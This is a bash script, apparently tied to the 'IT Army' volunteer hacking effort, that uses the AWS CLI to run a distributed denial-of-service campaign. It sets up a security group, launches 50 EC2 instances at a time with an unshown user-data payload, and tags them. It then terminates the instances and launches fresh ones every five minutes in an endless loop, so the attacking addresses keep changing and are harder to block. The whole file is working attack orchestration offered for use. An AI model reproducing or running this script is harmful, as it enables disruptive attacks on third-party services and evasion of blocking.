ddos.sh

#!/bin/bash
# Amount of instances for DDoS
count=50
# Region
region="eu-west-2"
# Rotation interval. 
rotationInterval=300 # in seconds. 5minutes by default

# Get VPC id
# Attention! If you have more than one VPC, replace it by proper one
vpc=$(aws ec2 describe-vpcs \
    --region $region \
    --query "Vpcs[].VpcId" \
    --no-cli-pager \
    --output text | awk '{print $1}')
# Get security group id
sg=$(aws ec2 describe-security-groups \
    --region $region \
    --filters Name=group-name,Values=it-army-security-group \
    --query "SecurityGroups[*].[GroupId]" \
    --no-cli-pager --output text)
function launch {
    # Launch Instances
    instances=$(aws ec2 run-instances \
        --region $region \
        --image-id ami-060c4f2d72966500a \
        --count $count \
        --instance-type t2.micro \
        --security-group-ids $sg \
        --user-data file://user-data.txt \
        --no-cli-pager --output text \
        --query "Instances[*].[InstanceId]" | tr '\r\n' ' ')
    # Add tags for newly created instances
    aws ec2 create-tags \
    --region $region \
    --resources $instances \
    --tags Key=banderinstance,Value= \
    --no-cli-pager --output text
    echo "Launched instances: $instances"
}
function terminate {
    # List running instances
    instances=$(aws ec2 describe-instances \
        --region $region \
        --filters "Name=tag-key,Values=banderinstance" "Name=instance-state-name,Values=running" \
        --query "Reservations[*].Instances[*].InstanceId" \
        --no-cli-pager --output text  | tr '\r\n' ' ')
    # Terminate running instances
    terminatedInstances=$(aws ec2 terminate-instances \
        --region $region \
        --instance-ids $instances \
        --query "TerminatingInstances[*].InstanceId" \
        --no-cli-pager --output text)
    echo "Terminated instances: $terminatedInstances"
}
function setup {
    # Create a security group
    aws ec2 create-security-group --region $region --group-name it-army-security-group --description "IT Army" --vpc-id $vpc --no-cli-pager --output text
}
if [ $1 = "setup" ]; then
    setup
elif [ $1 = "terminate" ]; then
    terminate
else
    # Instance Rotation
    echo "Press [Cmd+C] to stop..."
    iteration=1
    while true
    do
        echo "DDos Iteration ${iteration}"
        iteration=$((iteration+1))
        launch
        sleep $rotationInterval
        terminate
    done
fi